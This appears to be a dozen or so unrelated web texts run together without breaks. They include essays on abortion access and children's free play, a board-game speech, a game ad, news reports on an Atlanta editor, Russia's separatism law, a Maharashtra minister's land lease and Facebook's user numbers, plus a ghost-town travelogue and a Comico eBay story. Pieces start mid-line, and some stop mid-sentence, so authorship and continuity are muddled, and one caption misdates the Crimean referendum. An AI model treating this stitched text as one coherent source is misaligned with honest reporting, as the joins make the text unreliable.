As a young Black Philadelphian, and a worker for an independent abortion provider, I feel confident in saying that a certain type of conversation has been sparked. Now, instead of people who morally oppose what I do just being outside my door on Thursdays, Fridays, and Saturdays, they are emboldened on the state Senate floor to “save women’s lives.” Yet, nothing has been done to provide low-income women with dignified health care, including safe abortion care. If the case of Gosnell, it is not clear to the average reader that there are other “doctors” just like him seeing women who are not accounted for.
This is the gray area of abortion that no one wants to talk about: the women we cannot see for services, the women who we have never seen for services, and the women who are receiving abortions that are not counted by anyone. There is a deafening silence alright: A silence that ignores the daily plight of under-insured, and under-served women living in poverty.The Passion Speech
I’ve become something of a board game nut in recent years. I love playing new board games, old favorites and everything in between. So when I was assigned to give a short (3-4 minute) speech in a public speaking class about a passion of mine, the topic was a no-brainer. In fact, the only challenge was saying something meaningful in so short a time.
I titled my speech Board Games are for Business and tried to convince my audience of fellow MBA students to give board games a second chance after (presumably) giving up on them after their childhood. I had hoped to post a video of my speech here, but due to a technical glitch, no audio was recorded. So instead, I’ll post the text of my speech more or less as it existed the night before I delivered it. It’s unfortunate you can’t hear me deliver the speech to the audience, so you’ll just have to take my word for it that everyone sat rapt as I convinced all of them to go out and buy Cosmic Encounter and Dominion. Ok, at the very least I didn’t put anyone to sleep.
My latest board game obsession: Cosmic Encounter. Want to play?
Speech Text
I want you all to imagine a rainy Saturday afternoon from your childhood. You’ve been stuck inside all day, and it doesn’t look like that’s going to change any time soon. What did you do to pass the time? For me, rainy afternoons often meant playing board games with my brother. I think we’ve all got memories of playing board games as kids: Monopoly – Free Parking, Go to Jail, flipping the board over in anger; we’ve all been there. But then over time, you probably stopped playing board games. I get it. I mean, I did too. As I got older, there were other hobbies, school, work, and never enough time in the day. Certainly not for games.
But that all changed for me a few years ago. A group of friends invited me to join them for a weekly game night, and very quickly, I was hooked. Today, I’m going to tell you why you should give board games a second chance too.
First, I’d like to get one thing out of the way. Board games are not “bored games.” You don’t have to be bored to play them, and if you have the right group of friends, you certainly won’t be bored while playing. Another misconception is that all games have a board and little pieces. These days, there is a much wider variety of games. There are strategic card games, casual party games, and a new generation of classic board games on steroids. We’ve come a long way since Monopoly and the Game of Life.
Board games are not bored games. I'm particularly proud of this creative graphic.
Today’s board games are never just about pure luck. A great board game is an intellectual challenge. Each game is like a puzzle that needs to be solved. But board games are also socially engaging. It’s a great way to get people together, laughing, and talking. No phones, screens, or distractions, just you and your friends. Finally, board games are just plain fun. Whether you’re competitive, strategic, or just looking for a quick diversion, there’s a board game for you.
This is what business looks like. Or so I've heard.
In thinking about board games, I’ve come to realize that they’ve actually got a lot in common with business, or in this case silhouettes doing power poses. There’s a lot of strategic thought involved. You need to think about your moves and how your opponent will react. Board games and business require you to formulate a plan and stick to it.
I’d like to tell you a story about that last point. Let me introduce you to my friend Thom. He’s the one who reintroduced me to board games. And he almost always loses. In fact, at some point during almost any game, he’ll utter a line he’s now famous for: “I hate this game.”
Thom. The man. The Myth. The Legend.
Thom’s biggest challenge with games is that he inevitably forgets his strategy in the middle of the game and falls behind. One night, however, everything was different. Thom had stumbled on a great new strategy for a game, and promised to share it with us as long as we wouldn’t use it against him, at least for a night. We agreed, and watched as Thom stuck to his plan for once, and won. Big. In fact, Thom’s strategy was so effective, we couldn’t even beat him when we teamed up the whole table against him! Make a great plan, and when you’ve got one, stick to it!
Thom's strategy was the DoubleJack strategy in Dominion. It's not unbeatable, but it is really good in most games, and makes me not want to play with that card (and maybe Dominion in general) for a while after I see it.
I hope that board games will be a fun, intellectually challenging part of your life going forward. If they’re not already, talk to me. We’ll make a plan, stick to it, and find a game that you won’t hate.
Reflections
I recently read Tim Urban’s recounting of preparing for and giving a TED talk. One of the great points he made in his blog post was about the tradeoffs between memorizing a speech and just talking about something you know. It’s easier to keep people engaged when you have a real plan, but it also increases the chances of making a mistake unless you have your speech “Happy-Birthday-Level” memorized. When I first started thinking about my speech, I decided I wanted to attempt to deliver it memorized. Then, in a move that Tim Urban (and probably you) could relate to, I put off the speech to the last minute.
I knew what I wanted to say, but I waited until the night before to actually write it all down and (attempt to) memorize it. Needless to say, the speech was not “Happy-Birthday-Level” memorized. There was one spot in my speech that I consistently had trouble remembering. So I practiced just that part, over and over and over until eventually, I felt like I had it down.
The mind is a funny thing, though. Once I got it in my head that that particular transition was difficult for me, it was almost impossible to guarantee that I would nail it in the speech. In fact, I didn’t. I froze and fumbled about for a couple of seconds. I ad-libbed a few lines until a found I way to get back on track. I was discouraged by the mistake, but it may not have been as noticeable to my audience. I’ve uploaded the (silent) video of my speech to YouTube and embedded it below. Feel free to give it a watch and imagine how wonderful I must have sounded in person (hint: really wonderful.) I’d be interested if you can pick up on my body language and spot where I get really nervous that I’ve forgotten my speech!
Feel free to leave a comment below. And if you’re not already playing board games, get in touch and I was serious about giving recommendations. I’m nothing if not opinionated!I bought this on day one. I had been wanting Crayon Physics Deluxe for a long time, and I had seen VVVVVV before but did not really know what it was. They are both awesome and the other games are good too. I wish I had gotten the first two bundles too, but I did not hear about them in time. In fact I just stumbled on the Humble Indie Bundle #3 when I was googling for some action script tutorials. Remember the more you pay the more likely they will continue having these awesome bundles. Also if you tell all your friends, this could be the most successful Humble Bundle yet.
They just announced every one who buys Humble Indie Bundle #3 can play Minecraft for free until August 14th!Prepare for a relentless, unforgiving and addicting arcade experience! Only the ones with extremely fast reactions, strong nerves and exceptional skills will be able to defeat all enemies. “High-quality graphics and disturbing atmosphere. 8.5/10” - App4Smart “Insanity takes over very quickly, in the best kind of way. Shoggoth Rising is as hard as it is stunning. 8/10” - IndieGameMag “Shoggoth Rising will have you hooked right from the start. The game’s atmosphere is dark and heavy.” - WindowsGamers “Shoggoth Rising looks absolutely insane.” - Windows Central “Thank you so much for choosing something other than zombies.” - Android Police SGDA Swiss Game Award 2014 Nominee FEATURES - Story and Survival Mode for endless arcade action - Fight thousands of enemies and huge boss monsters - 7 deadly, upgradable weapons - Amazing visuals and intuitive controls for intense gameplay - Inspired by the stories about the Cthulhu Mythos from horror mastermind H. P. Lovecraft - Playable with touchscreen or mouse (keyboard is not required) Get the latest news and more at: Facebok: http://www.facebook.com/shoggothrising Twitter: http://www.twitter.com/shoggothrisingBy Dan Gilgoff, CNN.com Religion Editor
(CNN) - A Jewish newspaper owner who attracted U.S. Secret Service attention for a column suggesting that Israel consider assassinating an American president has resigned as the paper’s editor, employees there said Monday.
The resignation comes after a firestorm over the column and after a tearful apology from the editor-in-chief of Georgia’s Atlanta Jewish Times, Andrew Adler.
The JTA reported Monday that Adler is selling the newspaper, but the office manager, Jerry Farkas, said that was incorrect and that Adler hadn’t announced plans to sell.
The paper’s newly named interim editor-in-chief, John McCurdy, said in an e-mail that he had not talked with Adler about whether he planned to sell the paper.
Adler wrote a January 13 column about the threat of Iran to Israel, posing three options for the Jewish state. One was a "hit on a president in order to preserve Israel's existence."
The column attracted interest from the U.S. Secret Service, with spokesman George Ogilvie saying Saturday, "We are aware of it. We are taking the appropriate investigative steps."
In an interview with an Atlanta TV station on Saturday, Adler broke down as he apologized for the column.
“All I could do now is let President Obama, the State of Israel, everybody affected in Atlanta’s Jewish community … (know) that I’m sincerely sorry for what has transpired,” Adler told Atlanta Interfaith Broadcasters Inc., straining to choke back tears.
“It’s storming outside as we speak, and I’ve always felt that when a storm happens that God’s angry with me,” Adler said.
Farkas said the paper is working with the Jewish Federation of Greater Atlanta to find a permanent managing editor.
The federation had said that it was suspending its relationship with the Atlanta Jewish Times until Adler apologized, agreed to stop writing and gave up editorial control.An Anti-Maidan poster marking the anniversary of the March 2015 Crimean referendum. Photo: Evgeny Feldman / Novaya Gazeta
Russia’s Supreme Court is preparing a ruling to clarify one of the Russian Criminal Code’s most controversial statutes: Article 280.1 (on public calls to action for the violation of the territorial integrity of the Russian Federation). The article entered the Criminal Code in May 2014, and has, so far, been applied in 15 cases (the majority of which concern Crimea). In addition, there have been five convictions for statements on social networks and publications, in particular. Since this article has no precedence in Russian law, Meduza asked the head of the international human rights group Agora Pavel Chikov and its lawyer Ramil Akhmetgaliev for their thoughts.
After the parade of sovereignties
The issue of Russia’s territories has garnered a lot of discussion in recent years in terms of how and who can join the Federation and whether someone can leave. A consensus has formed in public opinion both on a measure of autonomy and a right to self-determination and – concurrently with the appearance of article 280.1 in the Criminal Code – about being held liable for calls to action to violate Russia’s territorial integrity.
Article 280.1 went into effect on May 9, 2014, and a relevant case appeared almost immediately, with the first sentences being handed down in 2015. Though the lawyers confirmed that investigators were and are cautious in applying this law: in two years, there have been 15 cases, five convictions, and one forced hospitalization. All of these defendants were found guilty: three were given prison terms and one was sent to a psychiatric hospital.
So what is so wrong with convicted citizens getting sentenced to prison?
To understand the situation, perhaps, it stands to briefly recall the Russian Constitution, which guarantees the right to peoples’ self-determination (Article 5). The Constitution also includes an entire chapter on Federation (chapter 3). But there is one small detail: the Constitution only addresses the question of being admitting to the Russian Federation. There is not a single line about the possibility, or even the right, to secede from it.
Well, then what about sovereignty? Yes, republics have a right to sovereignty, but in no way does this imply the right to secede from the Federation. This is the official explanation and interpretation of the constitutional provisions the Constitutional Court gave in the late 1990s and early 2000s (for example, the decision № 10-P of 7 June, 2000).
We will not bore you with legalese like "contractual federation" or "constitutional federation." Put simply, the Constitutional Court’s positions are as follows: all subjects of the Russian Federation are inalienable and constitutive parts of the Federation and do not have the right to secede from the Russian Federation. The Constitutional Court made these rulings after the so-called "parade of sovereignties" and infamous events in the North Caucasus in the 1990s. It turns out that the subjects of the Russian Federation misinterpreted the term "sovereignty". In reality, the term had several different meanings that the subjects did not understand.
One can argue over whether these findings are valid or not, but today the situation should be taken as a given, since the Constitutional Court is the only authority that has the right to officially interpret the Constitution’s provisions and its decisions cannot be appealed. Hence, the government’s official position is: it is possible to join the Russian Federation, but impossible to secede from it. All of this is clear in the words of the anthem “the age-old union of fraternal peoples,” or its Soviet equivalent “forever united.2 It seems like freedom, but is really an eternal union.
The Politics of Separatism
Québécois Party protest in Canada for the independence of Quebec Photo: Peter Jones / Reuters / Scanpix / LETA
Increasingly, the word "separatism" has a negative, illegitimate meaning. In reality, separatism does not mean something prohibited and illegal in all cases. Separatism is a policy and practice based on peoples’ right to self-determination and secession in order to create a new state or become a part of another state.
We can identify two main ways to realize secession: peaceful and violent. Currently, there are legal separatist political parties: there’s the Québécois Party in Canada and the Scottish National Party in Scotland. There have been official referendums on independence held in these countries: in Scotland, just recently, in 2014, and in Quebec in 1995.
Russian lawmakers introduced a new article into the Criminal Code prohibiting calls for the violation of territorial integrity in 2014. We will not speculate on the real motives of law’s authors or try to find a connection between these innovations and infamous events in Russia and Ukraine in spring of 2014. The draft amendments to the Criminal Code were developed and adopted in 2013, long before those events. Today this is not so important. What is more crucial is to understand how investigators and courts interpret and apply these laws, and even more importantly, against whom.
Provocative Statements
The leaders of Russia, China, Kazakhstan, Tajikistan, and Uzbekistan after the signing of the Shanghai Cooperation Organization in June 2002. Photo: Sergey Maximishin / PhotoXPress
As of today, there have been 15 criminal cases tried on the basis of Article 280.1, all in the period of 2015-2016. According to official Supreme Court data, no one was sentenced under the article in 2014.
In 2015, sentences were handed to Rafis Kashapov, Yuri Avdoshkin, Darya Poliudova, Vladimir Zavarkin, Alexei Moroshkin, and Alexei Z. Kashapov pleaded innocent and he was sentenced to three years in a penal colony. Polyudova pleaded innocent and got two years in a settlement colony; Moroshkin was sent to compulsory mental treatment. Zavarkin pleaded innocent and was fined. Alexei Z. pleaded innocent and received probation. Criminal cases have been initiated and investigated against three more: leader of the Crimean Tatar national movement Refat Chubarov, Crimean businessman Lenur Islyamov, and Crimean journalist Anna Andriyevskaya.
In 2016, Alexei Bubeev pleaded innocent and was sentenced to two years and three months in a penal colony. Ilmi Umerov, Nikolai Semena, Vladimir Khagdaev, and Andrei Piontkovsky are currently being investigated under Article 280.1. Piontkovsky fled Russia, Umerov is in custody, and Semena and Khagdaev are under house arrest. In Kaliningrad, there also a case that the FSB initiated in August 2016.
Current affairs commentators Andrey Piontkovsky (on the right) in Moscow's Basmanny Court which declared several of his writings "extremist". Photo: Dmitry Lekai / Kommersant
The statements of the accused pertained to status of Crimea (eight cases), Karelia, Siberia, and the Urals, as well as a unified Mongolia, Chechnya, the Republic of Komi, the Kuban Region, and the Kaliningrad region.
The statistics are strange. Do only those who have threatened Russia’s integrity fall under Article 280.1? Why has one statute caused so much fuss? Who are these “villains” who call for Russia’s disintegration? Where are their weapons, recruits, plans to seize telephones, railway stations, etc.? Where are their calls to violence? In reality, there is no evidence of such menacing uses of force, nor the court actually need them, the lawyers say. Nothing but words are necessary for both prosecution and conviction. The numbers do not tell the whole story about these people and their dealings. Therefore, we focus on those who have already been convicted.
Avdoshkin, aka Yuri Stop, a known co-chairman of the nationalist organization "Northern Frontier" and the chairman of the group "Russians" in the Komi Republic, "acted on separatist sympathies deliberately kept texts on his computer that appealed to the public for the secession of the Komi Republic from the Russian Federation with the purpose of provoking an indefinite number of people to carry out illegal acts aimed at violating the territorial integrity of the state”. The court did not mention any calls for violence in its sentence. In reality, Avdoshkin had posted a comment to a certain article online. The defendant plead guilty and the court past judgement without examining the evidence.
Alex Bubeev, an electrical engineer from Tver with no prior convictions, a wife, and two young children, is an active Internet user. A Tver court found him guilty of posting another author's article titled "Crimea is Ukraine!” on his social network page. According to an expert from the FSB’s Institute of Criminology Center of Special Technology, Bubeev "had called on an anonymous group of persons... [to] violate the integrity of the Russian Federation." There was no incitement to violence or armed formation (the only appeal was to make banners) in the text. In March 2016, human rights activists from Memorial declared Budeev a political prisoner, noting that "the text’s tone may have been excessively abusive and aggressive, but that that is not a sufficient reason for persecution."
On May 20, 2015, there was a rally calling for the resignation of Alexander Khudilainen, the governor of Karelia in Petrozavodsk. Deputies from the Legislative Assembly were among the speakers. At the end of the rally, protesters appealed to the President with a request for the governor's resignation due to his involvement in worsening the region’s socio-economic situation and the supporting political repression. In response to the authorities’ inaction, deputy of the Council of the Suojärvi urban settlement Vladimir Zavarkin suggested in an emotional speech that a referendum be held on Karelia’s secession from Russia.
The basis for his sentence was the fact that "statements of a motivational character calling for the secession of the Republic of Karelia from the Russian Federation couched in ambiguous set of proposals" were identified in his speech.
In the case of Rafis Kashapov, Tatarstan’s Naberezhnochelny City Court found that he had used "textual and visual materials … to form a negative attitude toward Russia’s actions in Crimea in 2014... through claims about the "occupation" of Crimea and violations of international law. His allegations were too found to be aimed at violating of Russian Federation’s territorial integrity through the dissemination of ideas Russia’s “illegal” in “occupying” Crimea. The defendant and his lawyers argued that his |
. When I write about a given character, I attempt to make him or her as realistic as possible. I want my characters to walk right off the pages you are reading and stroll right into the reader’s mind. There my characters shall live and thrive.
Who’s the writer that has influenced you the most?
The author that influenced me the most was indeed, Edgar Allen Poe in my early years. Then it was so many others to include, JRR Tolkien, Robert E. Howard, Thomas Harris, Dean Koontz, and Chelsea Cain.
How much do you read?
Daily.
How much and how often do you write?
Daily.
How would you describe your writing method?
The ideas or visions of these stories hit me as if I kissed an oncoming freight train. Spontaneous and remarkably vivid.
Paperback or Kindle?
Kindle.I feel like the type of childhood I had is endangered.
And not in a “when I was your age” anecdotal, grown up sort of way.
I honestly feel that small but important, surviving aspects of the environment I was raised in are being poached one by one by a society hell-bent on dissecting the childhood experience
Thumbing through the news lately, I’ve noticed that more kids, and parents, are in hot water over things that were considered normal when I was young. At the root of the controversy, the idea that children aren’t safe anymore.
I recently read in The Globe and Mail that a Winnipeg mom was reported to and investigated by Child and Family Services for allowing her children to play in their yard unsupervised. That same day, The National Post published a story about a townhouse complex in London, Ontario whose residents agreed to ban the use of sidewalk chalk, threatening a cleaning fee for families who weren’t compliant.
Last December the Toronto Star reported an embargo on the game of tag placed on students by a local catholic elementary school; the school cited that the game was, “too rough”. And just a few months prior to one school’s war on tag, The Star ran a story about a Toronto Public school that informed students cartwheels would be outlawed on school property.
Finally, I would be remiss if I failed to mention the outright ban on tobogganing in city parks in Hamilton, Ontario. Although the city’s ban is now over 15 years old, CBC News rehashed the story in 2015, reporting an increase in the municipality’s maximum fine for illegal sledding to $5000.
And don’t get me started on city bylaws prohibiting street hockey.
As I reflected on these articles and public debates on how we can do a better job of keeping our kids safe, I was flooded with memories of my childhood; countless nights playing made-up games in my backyard with my brother and friends while my parents prepared dinner in the kitchen; doodling on the driveway and writing messages to neighbours in chalk; playing tag, kick-the-can and roughhousing until I dripped with sweat; and sledding at my neighbourhood park until I was too exhausted to function.
These experiences were the fabric of my childhood. When I think about how I grew up, my freedom of choice and uninhibited play are aspects that shine through brightly in my mind. They were my foundation for personal growth.
These recent articles had me thinking about how my son will grow up. Will he be void of similar memories that I cherish to this day? Will he be robbed of the experiences I had as a child, reducing my when-I-was-young stories to mere folklore?
Will society permit me to raise my child in the manner in which I was raised?
We have arrived at a place where the price of keeping our kids safe is worth more than the children in which these rules are designed to protect. There is a false notion that taking away, or limiting our sons and daughters will make them safer: because nothing can go wrong when the opportunity for wrongdoing is eliminated.
Makes sense. Right?
Adults talk about the dangers of listless youth and the effects of screen time, but we then limit the alternatives, lessening opportunities get outside and move.
Undirected play is important for the development of children. Unsupervised social activity fosters strong character, independence and problem solving skills. Providing options to keep kids active, will keep kids active.
When we place our kids in a box, they can only grow so much. As schools, cities and neighbours take away opportunities for kids to be kids, they are taking away much more than games. They are killing the world I knew and stealing a piece of childhood from future generations.We visited Nanson, North Dakota, a true ghost town with zero residents in southern Rolette County, in 2012. We traveled through waving country to get there (when an occasional car or truck passed, the drivers frequently waved) and found a townsite rapidly disappearing. There were only four significant structures still standing in Nanson, and the Great Northern Railroad tracks that led to the founding of the town were long gone, too. On Easter weekend, 2017, we decided to make a return trip to Nanson on our way home from another ghost town, Omemee, North Dakota, and see if anything had changed.
As with our previous visit, we had to park at the end of the road and walk into the townsite due to the wet road. Our visit in 2012 was at the height of summer, with the leaves on the trees, and we were immediately struck when we visited this time by how haunting Nanson looked in the spring, with the trees bare.
The home shown above is the first structure you come to when visiting Nanson. Below: a look inside.
There was a post office in Nanson, from 1905 to 1981, and the town reportedly had a population of 125 in 1920, but it had declined to just 25 by 1960. Today, nobody lives in Nanson, North Dakota.
When we visited in 2012, we found the townsite totally overrun with wood ticks, and we were picking them off ourselves in the car all the way home. This time, an early spring had us concerned about ticks again, so we treated our clothes with permethrin before we left and, although we saw ticks clinging to blades of prairie grass during our visit, we didn’t find a single live tick on us. That stuff works.
At the center of the townsite, an old home and garage still stand, surrounded at its perimeter by a sagging wire fence.
Many times we’ve been reminded that exploring these places is dangerous, and the photo above is a prime example. There are open basements, wells, and cisterns everywhere. If you can imagine exploring a place like this later in the summer, when the grass is knee or waist-high, you can imagine how easy it would be to fall into something like this and get seriously hurt. Take two steps back without looking behind yourself while you’re trying to get that perfect shot and it would be easy to injure yourself in a fall.
At the north end of the townsite is a home that looks like Salvador Dali’s workshop, slowly crumbling into its own basement. The basement was full of water when we visited this time, likely runoff from the recent snow melt. This house was already falling apart when we visited in 2012. Five years later, it was in a little worse condition and will likely deteriorate quickly in the coming years.
The whole time we were exploring Nanson, a turkey vulture patrolled above our heads, gliding in lazy circles like a guardian of carrion. He would fly overhead, retreat for a time, and then return, as if to remind us that Nanson is a place for memories, but not living things.
Photos by Troy Larson and Terry Hinnenkamp, copyright © 2017 Sonic Tremor Media
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During its third quarter 2015 earnings call, Facebook revealed that it is attracting over 1.55 billion users each and every month, with a whopping one billion logging in each and every day. The increase in monthly visitors marks a 17 percent increase over the same three-month time frame of 2014.
Facebook celebrated its first day crossing the one billion user milestone on August 27 of this year and from the looks of it, those people never stopped coming back. During its second quarter earnings report earlier this year, Facebook tallied 968 million daily active users.
Most of the people logging onto the social network are doing so via mobile; the site reported 894 million mobile daily active users over the course of September 2015.
Much of the growth can be attributed to Facebook placing emphasis on its mobile presence, especially in developing countries. The social network released a stripped down, data-friendly version of its mobile app for Android devices called Facebook Lite earlier this year. Facebook has also continued pursue its mission to get more people online (and on Facebook) by any means necessary—including solar powered drones the size of 747s—though its efforts aren’t always welcome.
All that growth doesn’t mean much for a business if it can’t make money off of it, of course, and Facebook was successful in that regard as well; it reported $4.5 billion in revenue and a profit of $1.46 billion—a 40 percent rise over the same period last year.
But it’s that one billion daily active users figure that stands out the most in Facebook’s report. According to the International Telecommunications Union (ITU), 3.2 billion people will be online by the end of 2015. About one in three of them will spend the day checking their Facebook profile. It’s no wonder that in some parts of the world, Facebook is synonymous with the Internet. Unfortunately, this means world is never going to get any work done ever again.
H/T Mashable | Illustration by Max FleishmanOfficials red-flag project on leased land; no conflict of interest, says Deshmukh.
A company belonging to Maharashtra Textile Minister Subhash Deshmukh’s Lokmangal Group will earn lease rent from a cooperative society’s garment unit being set up through a financial scheme operated by the Textile Department, according to records obtained by The Indian Express under the Right to Information (RTI) Act.
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Records show that Deshmukh approved financial assistance to the unit under his government’s scheme despite red flags being raised by his officials that contrary to norms governing the scheme, the society did not own the land on which the unit would come up.
Deshmukh is the Maharashtra BJP’s vice-president and became Textile Minister on July 8, 2016. The society that leased his company’s land — Preshak Mahila Textile Garment Audhyogik Utpadak Cooperative Society Ltd Solapur — is chaired by Vidya Lolge, who is also a vice-president of the Opposition NCP’s women’s wing.
Government records show that on March 31, 2017, the last day of the financial year, the Maharashtra government sanctioned Rs 58.40 lakh as assistance to the society as a first installment, under a National Cooperative Development Corporation (NCDC)-sponsored scheme for development of powerloom cooperatives.
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Records also show that a one-acre plot of agricultural land owned by Lokmangal Developers, part of the Lokmangal Group, has been leased to the society for Rs 2 lakh annually, to be upwardly revised by 15 per cent every three years, to set up the unit. The land, which is classified as non-irrigated, falls in Mandrup, under Deshmukh’s Assembly constituency.
When contacted by The Indian Express, Deshmukh denied suggestions of conflict of interest and said that his department assisted the society as part of its plans to increase rural employment and make the area a textile hub. Preshak chairperson Lolge said the unit will start operations “in six months” and provide employment to “350 women”.
RTI records show that the Preshak society first wrote to the Textile Department on August 10, 2009, to set up a readymade garments unit on a two-acre plot, with a 40-year lease, in Savatkhed in South Solapur tehsil.
Documents show that the society’s estimated project cost was Rs 5.30 crore, which was revised by the Department to Rs 3.07 crore while forwarding the proposal to the NCDC on January 1, 2014. On March 11, 2014, the NCDC approved project assistance of Rs 2.92 crore. Over a month later, records show, the society decided to shift the location of the unit to Mandrup village in South Solapur.
But on May 22, 2017, in a letter to the Maharashtra Director for Textiles, the society said it had received “expert” opinion that the land is not suitable, and sought to implement the project on another plot of land owned by Lokmangal Developers.
Records show that on June 2, 2017, the director of the state Textile Department forwarded the society’s proposal to lease land from Lokmangal for 10 years, but with a file noting observing that according to norms for assistance, the society should own the land or have a lease agreement for at least 30 years.
On June 28, 2017, records show, the file was put up before Textile Minister Deshmukh.
On July 29, 2017, the Textile director wrote to Ujjwal Uke, Principal Secretary (Textiles), with a revised proposal from the society, and pointed out that it had thrice changed the proposed location after its first proposal in 2009.
”The society has so far changed the project location three times and must first finalise the place and submit a final resolution regarding this. In this way, the society will not be able to repeatedly change the project location after getting state government approval. When the society owns land, it is felt that it would be inappropriate for a project on leased land,” said the director’s letter.
The director was referring to the society’s claims in 2017 to his department: in March, it said it was purchasing 929.36 sq m in Solapur city, instead of Savatkhed; in May, it submitted a 10-year lease agreement for one acre in Mandrup, belonging to Lokmangal Developers Ltd; in July, it submitted a 30-year lease agreement for one acre in Basavnagar, South Solapur, also belonging to Lokmangal Developers Ltd.
Records show that on August 9, 2017, the Textile department prepared a note, stating that the minister, during a discussion, had directed it to seek a 30-year lease agreement from the society, according to a Government Resolution (GR) on February 24, 1999, and that the proposal be put up again.
This note also referred to a meeting chaired by Sunil Porwal, Additional Chief Secretary (Textiles), on April 4, 2016, during which he directed that it would be “mandatory for powerloom cooperatives to purchase land due to low recovery under the scheme”. However, the note said that the minister referred to the 1999 GR and directed the society to be allowed to take land on lease for 30 years and the change of location to be approved. Two days later, Uke noted on the file in Marathi: “What is the status of the purchased plot?”
On August 16, 2017, the director replied, stating that the society’s plot purchase in Solapur city had fallen through after the land owner cancelled the deal when the cheque issued by the society bounced. “At present, the society has two plots and hence it should first finalise a plot and must submit a final resolution regarding it,” the textile director noted in the letter.
Uke put up the file to the minister “for orders” on August 21. Deshmukh granted approval on August 22, noting on the file that the society wants to relocate the project to the Basavnagar plot.
The NCDC assistance scheme was started in Maharashtra in October 1996 — the state releases the assistance to the society first and claims reimbursement from the Corporation thereafter. But recovery of assistance from beneficiaries of the scheme was so poor that the scheme was discontinued in February 2004 before being re-started in January 2009. In January 2011, the government decided that personal property of the societies’ directors would be mortgaged for effective recovery.
In the case of Preshak, the NCDC sanctioned assistance comprising a term loan of Rs 1.46 crore and an investment loan Rs 1.16 crore. The state government is to pass on Rs 1.16 crore as share capital in the cooperative unit and Rs 1.46 crore as term loan to the society. The period of loan is eight years with a moratorium of one year for the term loan only.
‘To generate rural employment’
Maharashtra Minister Subhash Deshmukh said, “When I heard that the society is looking for a plot, I suggested to them a plot near Mandrup, which falls in my assembly constituency. This is basically to generate employment in rural parts… Lokmangal Developers had quoted a higher lease amount, but I convinced them to reduce it. There is no profit to Lokmangal Developers.”
Deshmukh denied any conflict of interest in his department facilitating funds for a project which has leased land from a firm under his group. He said he intends to set up a textile hub in his Assembly constituency, in the area adjoining Mandrup village.
Lokmangal Developers Ltd director Dhananjay Patil said there is no conflict of interest as the company is part of the Lokmangal group but also a separate entity owned by him, his father and his maternal uncle. “We have followed all legal procedure for making the lease agreement for 30 years with the society. It was not Deshmukh but the society that approached us requesting the land lease,” said Patil.
Vidya Lolge, who heads the society, said the garment manufacturing unit would start operations within six months. “This is the only such project by women. Around 350 women will get employment,” said Lolge.
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On reasons for shifting the project location, she said, “We found that women from Hotagi, Mandrup and adjoining villages in South Solapur would have to travel to the city if they wanted to work at the unit, and so a unit closer to their homes would be preferable.”Comico: The Comic Company was something of a publishing force in the comic-book market in the 1980s. Though perhaps little more than footnote in industry history now, it was noteworthy for the talent and properties it fostered. Perhaps best known as the home of the Robotech licence at the time, it was also noteworthy as the original home of Matt Wagner’s Mage and Grendel, as well as Bill Willingham’s The Elementals. Among its editing talent are two of the most respected figures in comics today: Bob Schreck, formerly of Dark Horse, DC and IDW; and Dark Horse’s Diana Schutz.
I was browsing the original comic art auctions on eBay the other day, and I happened upon an unusual listing dealing specifically with Comico’s history.
The seller, identified by the eBay user ID coyotesurplus, describes the lot of material thusly:
HUGE collection of proofs, color separation & color key printing cells, art copy, original artwork, comic books, graphic novels, posters and advertising items. THOUSANDS OF ITEMS. Collection from the founder of Comico Comic Book Company.
[snip]
Approximately 95% of this collection consists of THOUSANDS of color separation sheets/printing proofs. These are the original acetate sheets or “3-Ms” used to print the comic books. Many sheets have multiple pages on them. The rest of the collection is a mix of artwork, splash sheets, promo pieces, graphic samples, posters, signs, et al. Mostly all of the collection is from the 1980s.
THIS IS A MASSIVE AMOUNT OF MATERIAL. THE STACK OF ACETATE SHEETS IS ABOUT 3′ X 4′ X 8′ TALL AND WEIGHS IN THE THOUSANDS OF POUNDS.
The listing — which isn’t really an auction as it carries only a Buy It Now option for $12,000 and a Best Offer option — goes on to provide contact information and promises potential buyers the chance to view the lot in person in Pennsylvania. Furthermore, coyotesurplus has a solid eBay rating: 100 per cent positive feedback with more than 2,000 transactions. Given the description of the lot, though, whether it’s worth $12,000 is another issue.
I contacted the seller through eBay for information about how he came into possession of this material from Comico, which went bankrupt in 1990.
“Comico was located down the road from us in Norristown, PA. Following the bankruptcy, we had the opportunity to assist in the liquidation of some of the inventory. We became friends with the former owners who in turn used our warehouses to store their assets. The color separation sheets need to be moved — taking up too much space!,” the seller answered.
“We listed them to test the market and get an idea of demand. Most people seem interested in the associated artwork such as the splash sheets and sketches. Does not appear to be too much demand for the acetate color separation sheets. We are hesitant to just sell the artwork. We need to move the entire lot because we need the room. We specialize in paper, books, photos and art. This particular lot has been with us for sometime.”
The response was signed by “Greg.” A quick online search of the telephone number listed in the eBay description revealed it’s associated with Gregory J. Lignelli II of Phoenixville, PA.
Schutz said Monday that Comico’s policy was to return all original artwork to artists.
“If any of the original art up for sale on eBay is part of the stuff that ‘disappeared’ when Comico folded in 1990, then that art was not Comico’s, legally, to sell. That art was in Comico’s hands for reproduction purposes only, and should have been returned to the rightful owners — the artists, that is — at the time of bankruptcy,” she wrote in an email.
“The only original art that Comico should have sold off would be artwork that had been gifted to the owners of the company. I hope that’s what Mr. Lignelli has in his possession and not the art that was never returned to its rightful owners 20 years ago.”
The Comico auction is slated to end midday Dec. 3.
Addendum: One of Comico’s original partners has sounded off on his blog about the material available for sale and some Comico history.
Thanks to Jamie S. Rich for his assistance with this report.
Follow Eye on Comics on Twitter.There's a point being missed in the debate about whether Labour is anti-business - that there is, in fact, a good case for being anti-business.
I don't just mean that business dodges taxes and pays low wages. Such talk of unfairness distracts from the fact that, in recent years at least, business has simply failed.
For one thing, the greatest economic disaster of the last 80 years was a failure of business - the collapse of banks in 2007-08.
And for another, business has failed to invest in real assets despite making big profits. Since 2000 non-financial businesses' retained profits have exceeded investment in equipment and inventories by a cumulative £478.7bn*. In this sense, business has become an extractive institution, taking more money out of the economy than it has been putting in.
The fact that we're talking about secular stagnation shows that business is failing.
Business - at least in the UK - has become very good at extracting corporate welfare in the form of cushy government contracts, but much less good at riskier innovative ventures. Indeed, one could easily argue that the implicit subsidy to banks per banker is greater than spending on the welfare state per recipient.
In this context, we must distinguish between business and markets. Business is about hierarchy and control; markets are about dispersing power. Markets are about competition, whereas business tries to suppress competition and seek monopoly power; the last thing big business wants is creative destruction. A pro-business government would seek to protect incumbents through red tape that strangles small firms; tough copyright laws; generous outsourcing and procurement policies; and tax breaks. A pro-market government would do the exact opposite, and do everything it could to promote competition. Governments can - and should - be anti-business but pro-market.
All this poses the question: why, then, is Labour scared of being seen as anti-business? The Times gives us the answer. It quotes Tony Blair:
